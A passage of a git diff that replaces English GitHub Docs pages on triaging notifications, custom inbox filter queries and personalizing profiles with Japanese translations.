+- 後で確認するために、通知を**保存**します。 **保存済**の通知には、受信トレイでフラグが付けられます。 サイドバーの [**Saved**] をクリックするか、クエリ `is:saved` を使用すると、 **保存済**の通知をすべて1か所で確認できます。
+- 指定した通知と会話からの今後の更新を、自動的にサブスクライブ解除します。 サブスクライブ解除すると、インボックスから通知も削除されます。 会話をサブスクライブ解除しても、誰かがユーザ名または更新を受信している Team にメンションした場合、この会話からの通知をまた受信するようになります。
 
-From your inbox you can also triage multiple notifications at once. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)."
+インボックスから複数の通知を一括でトリアージすることもできます。 詳しい情報については「[インボックスからの通知を管理する](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)」を参照してください。
 
-## Customizing your notifications inbox
+## 通知のインボックスをカスタマイズする
 
-To focus on a group of notifications in your inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} or {% data variables.product.prodname_mobile %}{% endif %}, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." For more examples of how to customize your triaging workflow, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+{% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} または {% data variables.product.prodname_mobile %}{% endif %} のインボックスの通知のグループにフォーカスするために、カスタムフィルタを作成できます。 たとえば、自分がコントリビュートしているオープンソースプロジェクトのカスタムフィルタを作成し、自分がメンションされているリポジトリの通知のみを表示することができます。 詳しい情報については「[インボックスからの通知の管理](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)」を参照してください。 トリアージしているワークフローをカスタマイズする方法のその他の例については、「[通知をトリアージするためのワークフローをカスタマイズする](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)」を参照してください。
 
-## Notification retention policy
+## 通知の保持ポリシー
 
-Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day.
+**保存済**としてマークされていない通知は、5か月間保持されます。 **保存済**としてマークされている通知は、無期限に保持されます。 5か月以上前に保存した通知の保存を解除すると、通知は1日以内にインボックスから消えます。
 
-## Feedback and support
+## フィードバックとサポート
 
-If you have feedback or feature requests for notifications, use the [feedback form for notifications](https://support.github.com/contact/feedback?contact%5Bcategory%5D=notifications&contact%5Bsubject%5D=Product+feedback).
+通知に関するフィードバックまたは機能のリクエストがある場合は、[通知のフィードバックフォーム](https://support.github.com/contact/feedback?contact%5Bcategory%5D=notifications&contact%5Bsubject%5D=Product+feedback)を使用してください。
diff --git a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
index 66a0b98a87..7164d26582 100644
--- a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
+++ b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and triaging notifications
-intro: 'To optimize your notifications workflow, you can customize how you view and triage notifications.'
+title: 通知の表示とトリアージ
+intro: 通知ワークフローを最適化するために、通知の表示方法とトリアージ方法をカスタマイズできます。
 redirect_from:
   - /articles/managing-notifications
   - /articles/managing-your-notifications
diff --git a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
index 0b8710d460..19a4dad761 100644
--- a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
+++ b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
@@ -1,6 +1,6 @@
 ---
-title: Managing notifications from your inbox
-intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.'
+title: インボックスからの通知を管理する
+intro: 'インボックスを使用して、メール{% ifversion fpt or ghes or ghec %}とモバイル{% endif %}間で通知をすばやくトリアージして同期します。'
 redirect_from:
   - /articles/marking-notifications-as-read
   - /articles/saving-notifications-for-later
@@ -15,100 +15,101 @@ topics:
   - Notifications
 shortTitle: Manage from your inbox
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## About your inbox
+## インボックスについて
 
 {% ifversion fpt or ghes or ghec %}
-{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+{% data reusables.notifications-v2.notifications-inbox-required-setting %} 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)」を参照してください。
 {% endif %}
 
-To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}.
+インボックスへアクセスするには、任意のページの右上で、{% octicon "bell" aria-label="The notifications bell" %} をクリックします。
 
-  ![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png)
+  ![未読メッセージを示す通知](/assets/images/help/notifications/notifications_general_existence_indicator.png)
 
-Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview.
+インボックスには、登録を解除していないか、**Done** とマークされていないすべての通知が表示されます。ワークフローに対して最適な形になるよう、フィルタを使用してインボックスをカスタマイズし、すべてまたは未読の通知を表示して、通知をグループ化することで概要をすばやく確認できます。
 
-  ![inbox view](/assets/images/help/notifications-v2/inbox-view.png)
+  ![インボックスビュー](/assets/images/help/notifications-v2/inbox-view.png)
 
-By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query.
+デフォルトでは、インボックスに既読と未読の通知が表示されます。 未読の通知のみを表示するには、[**Unread**] をクリックするか、`is:unread` クエリを使用します。
 
-  ![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png)
+  ![未読のインボックスイビュー](/assets/images/help/notifications-v2/unread-inbox-view.png)
 
-## Triaging options
+## トリアージオプション
 
-You have several options for triaging notifications from your inbox.
+インボックスからの通知をトリアージする場合のオプションは次のとおりです。
 
-| Triaging option | Description |
-|-----------------|-------------|
-| Save            | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}. <br> <br> Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. |
-| Done            | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months.
-| Unsubscribe     | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review.
-| Read            | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**.
-| Unread          | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. |
+| トリアージオプション   | 説明                                                                                                                                                                                                                                             |
+| ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Save         | 後で確認するために、通知を保存します。 通知を保存するには、通知の右側にある {% octicon "bookmark" aria-label="The bookmark icon" %} をクリックします。 <br> <br> 保存済の通知は無期限に保持され、サイドバーの [**Saved**] をクリックするか、`is:saved` クエリで表示できます。 5か月以上前に保存した通知の保存を解除すると、通知は1日以内にインボックスから消えます。 |
+| 完了           | 通知を完了済としてマークし、受信トレイから通知を削除します。 サイドバーの [**Done**] をクリックするか、`is:done` クエリを使用すると、完了した通知をすべて表示できます。 **完了済**としてマークされている通知は、5か月間保持されます。                                                                                                              |
+| サブスクライブ解除します | @メンションされるか、参加している Team が@メンションされるか、またはレビューがリクエストされるまで、インボックスから通知を自動的に削除し、会話からサブスクライブ解除します。                                                                                                                                                     |
+| Read         | 通知を既読としてマークします。 インボックスで既読の通知のみを表示するには、`is:read` クエリを使用します。 このクエリには、**完了**としてマークされた通知は含まれません。                                                                                                                                                   |
+| Unread       | 通知を未読としてマークします。 インボックスで未読の通知のみを表示するには、`is:unread` クエリを使用します。                                                                                                                                                                                   |
 
-To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)."
+利用可能なキーボードショートカットについて詳しくは、「[キーボードショートカット](/github/getting-started-with-github/keyboard-shortcuts#notifications)」を参照してください。
 
-Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)."
+トリアージオプションを選択する前に、まず通知の詳細をプレビューして調査することができます。 詳しい情報については、「[単一の通知をトリアージする](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)」を参照してください。
 
-## Triaging multiple notifications at the same time
+## 複数の通知を同時にトリアージする
 
-To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option.
+複数の通知を同時にトリアージするには、関連する通知を選択し、{% octicon "kebab-horizontal" aria-label="The edit icon" %} ドロップダウンを使用してトリアージオプションを選択します。
 
-![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
+![トリアージオプションと選択した通知を含むドロップダウンメニュー](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
 
-## Default notification filters
+## デフォルト通知フィルタ
 
-By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned.
+デフォルトでは、インボックスには、割り当てられたとき、スレッドに参加したとき、プルリクエストの確認をリクエストされたとき、ユーザ名が直接 @メンションされたとき、またはメンバーになっている Team が @メンションされたときのフィルタがあります。
 
-  ![Default custom filters](/assets/images/help/notifications-v2/default-filters.png)
+  ![デフォルトのカスタムフィルタ](/assets/images/help/notifications-v2/default-filters.png)
 
-## Customizing your inbox with custom filters
+## カスタムフィルタでインボックスをカスタマイズする
 
-You can add up to 15 of your own custom filters.
+独自のカスタムフィルタを 15 個まで追加できます。
 
 {% data reusables.notifications.access_notifications %}
-2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}.
+2. フィルタ設定を開くには、左側のサイドバーの [Filters] の横にある {% octicon "gear" aria-label="The Gear icon" %} をクリックします。
 
   {% tip %}
 
-  **Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings.
+  **ヒント:** インボックスビューでクエリを作成し、[**Save**] をクリックすると、カスタムフィルタの設定が開き、フィルタのインボックスの結果をすばやくプレビューできます。
 
   {% endtip %}
 
-3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)."
+3. フィルタの名前とフィルタクエリを追加します。 たとえば、特定のリポジトリの通知のみを表示するには、`repo:octocat/open-source-project-name reason:participating` クエリを使用してフィルタを作成できます。 ネイティブの絵文字キーボードを使用して、絵文字を追加することもできます。 サポートされている検索クエリのリストについては、「[カスタムフィルタでサポートされているクエリ](#supported-queries-for-custom-filters)」を参照してください。
 
-  ![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png)
+  ![カスタムフィルタの例](/assets/images/help/notifications-v2/custom-filter-example.png)
 
-4. Click **Create**.
+4. ** Create（作成）**をクリックしてください。
 
-## Custom filter limitations
+## カスタムフィルタの制限
 
-Custom filters do not currently support:
-  - Full text search in your inbox, including searching for pull request or issue titles.
-  - Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests.
-  - Creating more than 15 custom filters.
-  - Changing the default filters or their order.
-  - Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`.
+カスタムフィルタは現在、以下をサポートしていません。
+  - プルリクエストや Issue のタイトルの検索を含む、インボックスでの全文検索。
+  - `is:issue`、`is:pr`、および `is:pull-request` クエリフィルタの区別。 これらのクエリは、Issue とプルリクエストの両方を検索結果として表示します。
+  - 15 個以上のカスタムフィルタの作成。
+  - デフォルトのフィルタまたはその順序の変更。
+  - `NOT` または `-QUALIFIER` を使用した [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) の検索。
 
-## Supported queries for custom filters
+## カスタムフィルタでサポートされているクエリ
 
-These are the types of filters that you can use:
-  - Filter by repository with `repo:`
-  - Filter by discussion type with `is:`
-  - Filter by notification reason with `reason:`{% ifversion fpt or ghec %}
-  - Filter by notification author with `author:`
-  - Filter by organization with `org:`{% endif %}
+使用できるフィルタの種類は次のとおりです。
+  - `repo:` を使用したリポジトリによるフィルタ
+  - `is:` を使用したディスカッションタイプによるフィルタ
+  - `reason:` を使用した通知理由でのフィルタ{% ifversion fpt or ghec %}
+  - `author:` を使用した通知作者によるフィルタ
+  - `org:` を使用したOrganization によるフィルタ{% endif %}
 
-### Supported `repo:` queries
+### サポートされている `repo:` クエリ
 
-To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization.
+`repo:` フィルタを追加するには、リポジトリの所有者をクエリの `repo:owner/repository` に含める必要があります。 オーナーは、通知をトリガーする {% data variables.product.prodname_dotcom %} アセットを所有する Organization またはユーザです。 例えば、 `repo:octo-org/octo-repo` は、Organization 内の octo-repo リポジトリでトリガーされた通知を表示します。
 
-### Supported `is:` queries
+### サポートされている `is:` クエリ
 
-To filter notifications for specific activity on {% data variables.product.product_location %}, you can use the  `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}.
+{% data variables.product.product_location %} での特定のアクティビティの通知をフィルタするには、`is` クエリを使用できます。 For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}.
 
 - `is:check-suite`
 - `is:commit`
@@ -125,53 +126,53 @@ To filter notifications for specific activity on {% data variables.product.produ
 For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)."
 {% endif %}
 
-You can also use the `is:` query to describe how the notification was triaged.
+`is:` クエリを使用して、通知がトリアージされた方法を記述することもできます。
 
 - `is:saved`
 - `is:done`
 - `is:unread`
 - `is:read`
 
-### Supported `reason:` queries
+### サポートされている `reason:` クエリ
 
-To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)."
+更新を受信した理由で通知をフィルタするには、`reason:` クエリを使用できます。 たとえば、自分 (または自分が所属する Team) がプルリクエストのレビューをリクエストされたときに通知を表示するには、`reason:review-requested` を使用します。 詳しい情報については、「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)」を参照してください。
 
-| Query | Description |
-|-----------------|-------------|
-| `reason:assign` | When there's an update on an issue or pull request you've been assigned to.
-| `reason:author` | When you opened a pull request or issue and there has been an update or new comment.
-| `reason:comment`| When you commented on an issue, pull request, or team discussion.
-| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned.
-| `reason:invitation` | When you're invited to a team, organization, or repository.
-| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to.
-| `reason:mention` | You were directly @mentioned.
-| `reason:review-requested` | You or a team you're on have been requested to review a pull request.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-| `reason:security-alert` | When a security alert is issued for a repository.{% endif %}
-| `reason:state-change`  | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged.
-| `reason:team-mention` | When a team you're a member of is @mentioned.
-| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status.
+| クエリ                       | 説明                                                                                                    |
+| ------------------------- | ----------------------------------------------------------------------------------------------------- |
+| `reason:assign`           | 割り当てられている Issue またはプルリクエストに更新があるとき。                                                                   |
+| `reason:author`           | プルリクエストまたは Issue を開くと、更新または新しいコメントがあったとき。                                                             |
+| `reason:comment`          | Issue、プルリクエスト、または Team ディスカッションにコメントしたとき。                                                             |
+| `reason:participating`    | Issue、プルリクエスト、Team ディスカッションについてコメントしたり、@メンションされているとき。                                                 |
+| `reason:invitation`       | Team、Organization、またはリポジトリに招待されたとき。                                                                   |
+| `reason:manual`           | まだサブスクライブしていない Issue またはプルリクエストで [**Subscribe**] をクリックしたとき。                                           |
+| `reason:mention`          | 直接@メンションされたとき。                                                                                        |
+| `reason:review-requested` | 自分または参加している Team が、プルリクエストを確認するようにリクエストされているとき。{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| `reason:security-alert`   | リポジトリに対してセキュリティアラートが発行されたとき。{% endif %}
+| `reason:state-change`     | プルリクエストまたは Issue の状態が変更されたとき。 たとえば、Issue がクローズされたり、プルリクエストがマージされた場合です。                                |
+| `reason:team-mention`     | メンバーになっている Team が@メンションされたとき。                                                                         |
+| `reason:ci-activity`      | リポジトリに、新しいワークフロー実行ステータスなどの CI 更新があるとき。                                                                |
 
 {% ifversion fpt or ghec %}
-### Supported `author:` queries
+### サポートされている `author:` クエリ
 
-To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`.
+ユーザごとに通知をフィルタするには、`author:` クエリを使用できます。 作者は、通知されるスレッド（Issue、プルリクエスト、Gist、ディスカッションなど）の元の作者です。 たとえば、Octocat ユーザによって作成されたスレッドの通知を表示するには、`author:octocat` を使用します。
 
-### Supported `org:` queries
+### サポートされている `org:` クエリ
 
-To filter notifications by organization, you can use the  `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization.
+Organization ごとに通知をフィルタするには、`org:` クエリを使用できます。 クエリで指定する必要のある Organization は、{% data variables.product.prodname_dotcom %} で通知されているリポジトリの Organization です。 このクエリは、複数の Organization に属していて、特定の Organization の通知を表示する場合に便利です。
 
-For example, to see notifications from the octo-org organization, use `org:octo-org`. 
+例えば、octo-org の Organization からの通知を表示するには、 `org:octo-org` を使用します。
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## {% data variables.product.prodname_dependabot %} custom filters
+## {% data variables.product.prodname_dependabot %}カスタムフィルタ
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
 If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters:
-- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}.
-- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests.
-- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests.
+- `is:repository_vulnerability_alert` は {% data variables.product.prodname_dependabot_alerts %} の通知を表示します。
+- `reason:security_alert` は {% data variables.product.prodname_dependabot_alerts %} とセキュリティアップデートのプルリクエストの通知を表示します。
+- `author:app/dependabot` は {% data variables.product.prodname_dependabot %} によって生成された通知を表示します。 これには、{% data variables.product.prodname_dependabot_alerts %}、セキュリティアップデートのプルリクエスト、およびバージョン更新のプルリクエストが含まれます。
 
 For more information about {% data variables.product.prodname_dependabot %}, see "[About managing vulnerable dependencies](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)."
 {% endif %}
@@ -179,10 +180,10 @@ For more information about {% data variables.product.prodname_dependabot %}, see
 {% ifversion ghes < 3.3 or ghae-issue-4864 %}
 
 If you use {% data variables.product.prodname_dependabot %} to tell you about vulnerable dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}:
-- `is:repository_vulnerability_alert` 
+- `is:repository_vulnerability_alert`
 - `reason:security_alert`
 
-For more information about {% data variables.product.prodname_dependabot %}, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+{% data variables.product.prodname_dependabot %} に関する詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)」を参照してください。
 {% endif %}
 
 {% endif %}
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
index 7a6c7d46c8..b0e83b294a 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: About your profile
-intro: 'Your profile page tells people the story of your work through the repositories you''re interested in, the contributions you''ve made, and the conversations you''ve had.'
+title: プロフィールについて
+intro: プロフィールページは、関心のあるリポジトリ、行ったコントリビューション、会話を通じて、あなたの作業の様子を他者に伝えます。
 redirect_from:
   - /articles/viewing-your-feeds
   - /articles/profile-pages
@@ -15,29 +15,30 @@ versions:
 topics:
   - Profiles
 ---
-You can add personal information about yourself in your bio, like previous places you've worked, projects you've contributed to, or interests you have that other people may like to know about. For more information, see "[Adding a bio to your profile](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)."
+
+以前の職場、コントリビュートしたプロジェクト、あなたが興味を持っていることなど、他者が知りたいあなたに関する個人情報を略歴に追加できます。 詳細は「[プロフィールに略歴を追加する](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)」を参照してください。
 
 {% ifversion fpt or ghes or ghec %}
 
 {% data reusables.profile.profile-readme %}
 
-![Profile README file displayed on profile](/assets/images/help/repository/profile-with-readme.png)
+![プロフィールに表示されるプロフィール README ファイル](/assets/images/help/repository/profile-with-readme.png)
 
 {% endif %}
 
-People who visit your profile see a timeline of your contribution activity, like issues and pull requests you've opened, commits you've made, and pull requests you've reviewed. You can choose to display only public contributions or to also include private, anonymized contributions. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" or "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+あなたのプロフィールにアクセスすると、あなたがオープンした Issue やプルリクエスト、行ったコミット、レビューしたプルリクエストなど、あなたのコントリビューションのアクティビティのタイムラインが表示されます。 パブリックコントリビューションだけを表示させることも、プライベートな匿名化されたコントリビューションも表示させることもできます。 詳細は「[プロフィールページ上にコントリビューションを表示する](/articles/viewing-contributions-on-your-profile-page)」または「[プライベートコントリビューションをプロフィールで公開または非公開にする](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)」を参照してください。
 
-People who visit your profile can also see the following information.
+あなたのプロフィールにアクセスしたユーザは、次の情報も見ることができます。
 
-- Repositories and gists you own or contribute to. {% ifversion fpt or ghes or ghec %}You can showcase your best work by pinning repositories and gists to your profile. For more information, see "[Pinning items to your profile](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)."{% endif %}
+- あなたが所有している、もしくはコントリビューションしたリポジトリと Gist。 {% ifversion fpt or ghes or ghec %}You can showcase your best work by pinning repositories and gists to your profile. 詳細は「[プロフィールにアイテムをピン止めする](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)」を参照してください。{% endif %}
 - Repositories you've starred{% ifversion fpt or ghec %} and organized into lists.{% endif %} For more information, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)."
-- An overview of your activity in organizations, repositories, and teams you're most active in. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."{% ifversion fpt or ghec %}
-- Badges that show if you use {% data variables.product.prodname_pro %} or participate in programs like the {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %}, or the {% data variables.product.company_short %} Developer Program. For more information, see "[Personalizing your profile](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)."{% endif %}
+- あなたが最もアクティブな Organization、リポジトリ、Team でのあなたのアクティビティの概要。 詳しい情報については、「[プロフィール上にアクティビティの概要を表示する](/articles/showing-an-overview-of-your-activity-on-your-profile)」を参照してください。{% ifversion fpt or ghec %}
+- {% data variables.product.prodname_pro %} の使用や、{% data variables.product.prodname_arctic_vault %}、{% data variables.product.prodname_sponsors %}、{% data variables.product.company_short %} 開発者プログラムなどのプログラムへの参加を示すバッジ。 詳細は「[プロフィールをパーソナライズする](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)」を参照してください。{% endif %}
 
-You can also set a status on your profile to provide information about your availability. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
+プロフィールにステータスを設定して、可用性に関する情報を提供することもできます。 詳細は「[ステータスを設定する](/articles/personalizing-your-profile/#setting-a-status)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[How do I set up my profile picture?](/articles/how-do-i-set-up-my-profile-picture)"
-- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
-- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
+- [プロフィール画像のセットアップ方法](/articles/how-do-i-set-up-my-profile-picture)
+- [プロフィールでプライベートコントリビューションを公開または非表示にする](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)
+- [プロフィール上でのコントリビューションの表示](/articles/viewing-contributions-on-your-profile)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
index ad0820dc72..0b1835ce7a 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Personalizing your profile
-intro: 'You can share information about yourself with other {% data variables.product.product_name %} users by setting a profile picture and adding a bio to your profile.'
+title: プロフィールをパーソナライズする
+intro: 'プロフィール画像を設定し、プロフィールに略歴を追加することで、自分自身についての情報を他の {% data variables.product.product_name %} ユーザと共有することができます。'
 redirect_from:
   - /articles/adding-a-bio-to-your-profile
   - /articles/setting-your-profile-picture
@@ -19,39 +19,35 @@ topics:
   - Profiles
 shortTitle: Personalize
 ---
-## Changing your profile picture
 
-Your profile picture helps identify you across {% data variables.product.product_name %} in pull requests, comments, contributions pages, and graphs.
+## プロフィール画像を変更する
 
-When you sign up for an account, {% data variables.product.product_name %} provides you with a randomly generated "identicon". [Your identicon](https://github.com/blog/1586-identicons) generates from a hash of your user ID, so there's no way to control its color or pattern. You can replace your identicon with an image that represents you.
+プロフィール画像は、{% data variables.product.product_name %} のプルリクエスト、コメント、コントリビューションページ、およびグラフにおいて、あなたを識別するのに役立ちます。
+
+アカウントにサインアップすると、{% data variables.product.product_name %} はとりあえずランダムなアイデンティコンを生成します。 [アイデンティコン](https://github.com/blog/1586-identicons)は、ユーザ ID のハッシュから生成されるもので、その色やパターンをコントロールする方法はありません。 アイデンティコンは、あなたを表す画像に置き換えることができます。
 
 {% tip %}
 
-**Tip**: Your profile picture should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend keeping the image at about 500 by 500 pixels.
+**参考**: プロフィール画像は、1 MB 以下の PNG、JPG または GIF である必要があります。 最高の画質をもたらすには、画像を 500 × 500 ピクセルに収めることを推奨します。
 
 {% endtip %}
 
-### Setting a profile picture
+### プロフィール画像を設定する
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**.
-![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png)
-3. Click **Upload a photo...**.
-![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png)
-3. Crop your picture. When you're done, click **Set new profile picture**.
-	![Crop uploaded photo](/assets/images/help/profile/avatar_crop_and_save.png)
+2. [**Profile Picture**] で {% octicon "pencil" aria-label="The edit icon" %} [**Edit**] をクリックします。 ![プロフィール画像を編集](/assets/images/help/profile/edit-profile-photo.png)
